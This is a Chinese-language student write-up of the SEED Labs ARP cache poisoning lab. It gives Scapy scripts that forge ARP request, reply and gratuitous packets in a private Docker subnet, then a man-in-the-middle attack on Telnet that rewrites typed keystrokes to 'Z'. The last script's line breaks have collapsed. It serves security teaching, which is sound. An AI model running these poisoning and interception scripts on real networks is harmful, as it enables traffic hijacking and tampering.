目录

一、实验环境

二、实验内容

Task 1: ARP Cache Poisoning

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

一、实验环境

本地共有三台虚拟机,位于同一个子网下。地址如下:
主机名 IP 地址 MAC 地址
M (攻击者) 10.9.0.105 02:42:0a:09:00:69
A (客户端) 10.9.0.5 02:42:0a:09:00:05
B (服务器) 10.9.0.6 02:42:0a:09:00:06

二、实验内容

Task 1: ARP Cache Poisoning

Task 1A (using ARP request).

On host M, construct an ARP request packet and send to host A. Check whether M’s MAC address is mapped to B’s IP address in A’s ARP cache.

在主机 M 上,构造一个 ARP 请求包,发送给主机 A。查看主机 A 的 ARP 缓存中 M 的 MAC 地址是否映射到 B 的 IP 地址。

#!/usr/bin/python3
from scapy.all import *
# M
src_mac='02:42:0a:09:00:69'# M
dst_mac='00:00:00:00:00:00'
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.6' # B
dst_ip='10.9.0.99' # 任意 IP
eth = Ether(src=src_mac,dst=dst_mac_eth)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
sendp(pkt)

捕获的数据包信息

在主机A上查看arp表,可以看出主机B对应的MAC地址为主机M的MAC地址,攻击成功。

• Task 1B (using ARP reply).

On host M, construct an ARP reply packet and send to host A. Check whether M’s MAC address is mapped to B’s IP address in A’s ARP cache.

在主机 M 上,构造一个 ARP 应答包,发送给主机 A。在 A 的 ARP 缓存中检查 M 的 MAC 地址是否映射到 B 的 IP 地址。

#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='02:42:0a:09:00:05' # A
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)

抓包结果

• Task 1C (using ARP gratuitous message).

On host M, construct an ARP gratuitous packets. ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine’s ARP cache.

在主机 M 上,构造一个 ARP 免费包。 ARP 免费包是一种特殊的 ARP 请求包。 当主机需要更新所有其他机器的 ARP 缓存上的过时信息时使用它。

#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.6' # B
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)

抓包结果

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step 1 (Launch the ARP cache poisoning attack).

First, Host M conducts an ARP cache poisoning attack on both A and B, such that in A’s ARP cache, B’s IP address maps to M’s MAC address, and in B’s ARP cache, A’s IP address also maps to M’s MAC address. After this step, packets sent between A and B will all be sent to M. We will use the ARP cache poisoning attack from Task 1 to achieve this goal.

使用任务1中的ARP缓存中毒攻击来实现这个目标。

其中用于攻击主机B的ARP缓存中毒攻击代码为:

#!/usr/bin/python3
from scapy.all import *
# M
src_mac='02:42:0a:09:00:69'
dst_mac='00:00:00:00:00:00'
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.5' # A
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac,dst=dst_mac_eth)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
sendp(pkt)

攻击后,查看AB两台主机的ARP表,可以看出对两台主机的ARP攻击成功。

Step 2 (Testing).

After the attack is successful, please try to ping each other between Hosts A and B, and report your observation. Please show Wireshark results in your report.

攻击成功后,在Host A和B之间互相ping。

Wireshark抓包结果如下

Step 3 (Turn on IP forwarding).

Now we turn on the IP forwarding on Host M, so it will forward the packets between A and B. Please run the following command and repeat Step 2.

打开主机M上的数据转发

 重新在主机AB之间互ping,结果如下:

Wireshark抓包结果如下:

在icmp请求数据包中,链路层目的地址为主机M的MAC地址,源地址为主机A的MAC地址。IP层目的地址却是主机B的IP地址。

转发开始起作用。主机M收到包后修改链路层的MAC地址,目的MAC为主机B的MAC地址,源MAC为自己的MAC地址。所以IP层是源地址为主机A,目的地址为主机B不变,但是链路层变成由主机M发往主机B。

Step 4 (Launch the MITM attack).

      We are ready to make changes to the Telnet data between A and B. Assume that A is the Telnet client and B is the Telnet server. After A has connected to the Telnet server on B, for every key stroke typed in A’s Telnet window, a TCP packet is generated and sent to B. We would like to intercept the TCP packet, and replace each typed character with a fixed character (say Z). This way, it does not matter what the user types on A, Telnet will always display Z.

①首先打开主机M上的数据转发功能,然后在机器A上telnet机器B,输入用户名密码,可以连上,可以正常输入命令并返回结果。

②建立连接后,使用以下命令关闭IP转发。

sysctl net.ipv4.ip_forward=0

在 A 的 Telnet 窗口中输入一些内容,发现无法输入以及回车。

③建立连接后在机器M上关闭包转发,运行ARP缓存中毒攻击和发包程序。

使用的攻击代码如下:

#!/usr/bin/python3
from scapy.all import *VM_A_IP = "10.9.0.5"
VM_B_IP = "10.9.0.6"
def spoof_pkt(pkt):if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:# Create a new packet based on the captured one.# (1) We need to delete the checksum fields in the IP and TCP headers,# because our modification will make them invalid.# Scapy will recalculate them for us if these fields are missing.# (2) We also delete the original TCP payload.newpkt = pkt[IP]del(newpkt.chksum)del(newpkt[TCP].chksum)del(newpkt[TCP].payload)###################################################################### Construct the new payload based on the old payload.# Students need to implement this part.#olddata = pkt[TCP].payload.load # Get the original payload datanewdata = str.encode('Z') # No change is made in this sample code#newdata = "Z" * len(olddata)###################################################################### Attach the new data and set the packet outsend(newpkt/newdata)elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:send(pkt[IP]) # Forward the original packet
pkt = sniff(filter="ether src host not 02:42:0a:09:00:69 and tcp",prn=spoof_pkt)

运行截图

④结果如下,无论输入什么,都会显示z,即使回车,这会使得无法执行命令。

但是在实验中发现,输入的命令可以显示为原先设定的Z,但是输入一串字符,往往只能有最开始的几个字母显示为Z。并且很快就可以恢复输入,猜测是不是由于对两台主机的攻击时效短,攻击失效ARP表及时更新导致的。

【Seedlabs】ARP Cache Poisoning Attack Lab相关推荐

  1. 【SeedLab】ARP Cache Poisoning Attack Lab

    目录 实验手册 实验环境 Task 1: ARP Cache Poisoning Task 1.A (using ARP request). Task 1.B (using ARP reply). T ...

  2. 【SEED Labs 2.0】ARP Cache Poisoning Attack Lab

    本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录. 文章目录 实验原理 Task 1: ARP Cache Poisoning Task ...

  3. 【SEED Lab】ARP Cache Poisoning Attack Lab

    ARP Cache Poisoning Attack Lab 一.实验的基本环境 一共有三台机器,我们使用Host M进行攻击,因为ARP协议只在局域网上运行,所以三台机器在同一个局域网上面. 二.实 ...

  4. (SEED-Lab) ARP Cache Poisoning Attack Lab

    (SEED-Lab) ARP Cache Poisoning Attack Lab 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 (SEED-Lab) ARP ...

  5. ARP Cache Poisoning Attack Lab(SEED实验)

    ARP Cache Poisoning Attack Lab(SEED实验) ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段.本实验使用scap ...

  6. SEEDLab ARP Cache Poisoning Attack Lab 实验报告

    文章目录 实验过程 实验环境 一个小tips task1:ARP Cache Poisoning task 1A (using ARP request) 实验过程一个小tips: task 1B (u ...

  7. 【SeedLab】BGP Exploration and Attack Lab

    1 实验环境 本实验需要使用SEED互联网仿真器(已集成到docker配置文件). 启动docker容器,配置文件在/Labsetup/outputs/目录下.由于要配置很多docker容器,所以构建 ...

  8. TASK 5 ARP Cache Poisoning

    不想学习,所以自己随便写写,不一定对,看个乐呵 Task 1: ARP Cache Poisoning 前面的大意是构造arp数据包的方法,此处略过 Task 1.A (using ARP reque ...

  9. 域名系统安全作业-DNS Cache Poisoning Attack Reloaded: Revolutions with Side Channels

    文章目录 DNS Cache Poisoning Attack Reloaded: Revolutions with Side Channels 论文摘要 论文写作动机 论文贡献 论文核心内容 1. ...

最新文章

  1. java设计模式---合成模式
  2. 【深度学习】深入浅出神经网络框架的模型元件(池化、正则化和反卷积层)
  3. java linux 时区_java同步/设置Linux系统时间
  4. 数学符号的读法和英文表示
  5. jvm最大内存限制多少?
  6. boost::spirit模块实现使用不同的输出语法格式化单个容器类型的测试程序
  7. android 如何保留数据两位小数
  8. Python基础:元类
  9. gstreamer的插件如何复制数据
  10. paip.oracle query export to insert sql
  11. 斯坦福最新研究:看图“猜车祸”,用谷歌街景数据建立车祸预测新模型
  12. A星算法优化(一)启发函数
  13. 《JAVA语言程序设计》上课笔记
  14. matlab读取txt文档三行数据库,Matlab中的textread textscan读取文本文件
  15. 苏轼被贬 康震《唐宋八大家之苏轼》
  16. Android8.1 MTK平台 增加定时开关机功能
  17. linux博通网卡驱动怎么安装,ubuntu14.04手动安装博通官方无线网卡驱动时报错,...
  18. 力扣题解:面试题 02.03. 删除中间节点
  19. 掌握这6个可视化图表,小白也能轻松玩转数据分析
  20. java后台提供ios微信支付接口

热门文章

  1. 别让猴子跳回背上——观书感
  2. 配置华为AP6050DN胖AP
  3. 微信Switch组件-switch按钮
  4. 重视“互联网+政务服务”改革工作 推进智慧城市建设
  5. 微软试图导演互联网版的“赤壁之战”?
  6. html帮助文档怎么翻译,HTML文档,HTML document,音标,读音,翻译,英文例句,英语词典
  7. 第十三届蓝桥杯 2022年省赛真题(Java 大学C组)
  8. 隐式函数matlab,matlab隐函数求解的几种方法
  9. 记一次漫长的蓝屏处理过程
  10. 用C语言求斐波那契数1,1,2,3,5,8......